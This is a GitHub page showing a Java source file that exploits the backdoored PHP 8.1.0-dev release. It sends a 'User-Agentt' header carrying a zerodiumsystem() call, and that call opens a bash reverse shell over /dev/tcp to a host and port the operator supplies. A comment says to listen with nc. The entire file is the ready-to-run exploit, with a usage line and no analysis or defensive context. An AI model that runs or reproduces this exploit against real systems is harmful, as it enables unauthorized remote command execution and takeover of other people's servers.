-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathPhpReverseShell81.java
More file actions
48 lines (38 loc) · 1.52 KB
/
PhpReverseShell81.java
File metadata and controls
48 lines (38 loc) · 1.52 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
public class PhpReverseShell81 {
public static void main(String[] args) {
if(args.length != 3) {
System.out.println("Usage: java PhpReverseShell81 <target_Ip> <host_Ip> <host_Port>");
return;
}
/* Target Machine and Host Ip and Port */
String target = args[0];
String host = args[1];
String port = args[2];
String payload = "bash -c \"bash -i >& /dev/tcp/"+host+"/"+port+" 0>&1\"";
/* Using nc -lvnp port needed to access on another tab */
try {
URL url = new URL(target);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestProperty("User-Agentt", "zerodiumsystem('" + payload + "');");
conn.setRequestMethod("GET");
// Using GET method to RCE to tarfer files
BufferedReader in = new BufferedReader(
new InputStreamReader(conn.getInputStream())
);
System.out.println("[+] Displaying the Content of the page [+]");
String inputLine;
while ((inputLine = in.readLine()) != null) {
System.out.println(inputLine);
}
System.out.println("[!] Access Terminated [!]");
}
catch(Exception e) {
e.printStackTrace();
}
/* END of the Script */
}
}